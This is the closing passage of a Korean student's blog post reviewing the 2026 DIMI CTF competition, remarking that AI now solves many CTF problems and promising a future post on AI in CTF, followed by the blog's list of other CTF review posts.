์‹ ์ž…์ƒ๋•Œ์™€ ์ง€๊ธˆ์˜ DIMI CTF๋ฅผ ๋น„๊ตํ•ด๋ณด๋ฉด AI๊ฐ€ ์ •๋ง ๋งŽ์ด ๋ฐœ์ „ํ•ด์„œ, AI๋”ธ๊น์œผ๋กœ ๋ฌธ์ œ๊ฐ€ ๋งŽ์ด ํ’€๋ฆฌ๋Š” ๊ฒƒ ๊ฐ™์•˜์Šต๋‹ˆ๋‹ค.

AI๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด์„œ ๋А๋‚€ ์ ๋“ค์ด ์žˆ๊ณ , ์ถ”ํ›„์— AI in CTF์— ๋Œ€ํ•œ ๊ธ€์„ ์ข€ ์ž‘์„ฑํ•ด๋ณด๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค

 

์ด์ƒ ๊ณ 3 pandas์˜€์Šต๋‹ˆ๋‹ค.

 

 

 

'CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[ 2025 ์ œ 1ํšŒ ์˜๋‚จ๊ถŒ ์‚ฌ์ด๋ฒ„ ๊ณต๊ฒฉ ๋ฐฉ์–ด ๋Œ€ํšŒ - ์˜ˆ์„  ๋ณธ์„  ํ›„๊ธฐ ]  (0) 2025.11.03
[ 2025 CCE - ์˜ˆ์„  + ๋ณธ์„  ํ›„๊ธฐ ]  (0) 2025.09.15
[ 2025 HackQuest - ์˜ˆ์„  + ๋ณธ์„  ํ›„๊ธฐ ]  (0) 2025.09.15
[2025 YISF ์ˆœ์ฒœํ–ฅ๋Œ€ ์ •๋ณด๋ณดํ˜ธ ํŽ˜์Šคํ‹ฐ๋ฒŒ - ์˜ˆ์„  +๋ณธ์„  + ์‹œ์ƒ์‹ ] - Write Up & ํ›„๊ธฐ  (0) 2025.09.07
[ ์ œ 31ํšŒ ํ•ดํ‚น ์บ ํ”„ ํ›„๊ธฐ ]  (8) 2025.09.01
'CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
  • [ 2025 ์ œ 1ํšŒ ์˜๋‚จ๊ถŒ ์‚ฌ์ด๋ฒ„ ๊ณต๊ฒฉ ๋ฐฉ์–ด ๋Œ€ํšŒ - ์˜ˆ์„  ๋ณธ์„  ํ›„๊ธฐ ]
  • [ 2025 CCE - ์˜ˆ์„  + ๋ณธ์„  ํ›„๊ธฐ ]
  • [ 2025 HackQuest - ์˜ˆ์„  + ๋ณธ์„  ํ›„๊ธฐ ]
  • [2025 YISF ์ˆœ์ฒœํ–ฅ๋Œ€ ์ •๋ณด๋ณดํ˜ธ ํŽ˜์Šคํ‹ฐ๋ฒŒ - ์˜ˆ์„  +๋ณธ์„  + ์‹œ์ƒ์‹ ] - Write Up & ํ›„๊ธฐ
Hello๐Ÿ–๏ธI'm pandas from KDMHS
Hello๐Ÿ–๏ธI'm pandas from KDMHS
ํ•œ๊ตญ๋””์ง€ํ„ธ๋ฏธ๋””์–ด๊ณ ๋“ฑํ•™๊ต 23๊ธฐ ์›น ํ”„๋กœ๊ทธ๋ž˜๋ฐ๊ณผ์—์„œ ํ•ดํ‚น์„ ๊ณต๋ถ€ํ•˜๊ณ  ์žˆ๋Š” pandas์ž…๋‹ˆ๋‹ค.
  • Hello๐Ÿ–๏ธI'm pandas from KDMHS
    pandasiuuuu
    Hello๐Ÿ–๏ธI'm pandas from KDMHS
  • ๊ณต์ง€์‚ฌํ•ญ

    • Hello I'm pandas ๐Ÿ–๏ธ
    • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (40)
      • CTF (13)
      • ๋””๋ฏธ๊ณ  (17)
      • ๋ฐฑ์ค€ (1)
      • Dreamhack (5)
      • INFO (3)
      • 1 ไบบ 1 Project (1)
  • ์ „์ฒด
    ์˜ค๋Š˜
    ์–ด์ œ
  • ๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

    • ํ™ˆ
    • ํƒœ๊ทธ
    • ๋ฐฉ๋ช…๋ก
  • ๋งํฌ

  • ์ธ๊ธฐ ๊ธ€

  • ํƒœ๊ทธ

    DreamHack
    Baekjoon
    pwnable
    1์ธ1ํ”„๋กœ์ ํŠธ
    Python
    ๋ฐฑ์ค€
    ctf
    ๋””๋ฏธ๊ณ 
    ํŒฐ๋ฆฐ๋“œ๋กฌ
    reversing
    ํ•ดํ‚น
    info
    ์›นํ”„๋กœ๊ทธ๋ž˜๋ฐ๊ณผ
    docker
    ํšŒ๊ณ ๋ก
  • ์ตœ๊ทผ ๋Œ“๊ธ€

  • ์ตœ๊ทผ ๊ธ€

  • hELLOยท Designed By์ •์ƒ์šฐ.v4.10.3
Hello๐Ÿ–๏ธI'm pandas from KDMHS
pandas์˜ ๊ธฐ์ถœ ๋ถ„์„ - 2026 DIMI CTF
์ƒ๋‹จ์œผ๋กœ

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”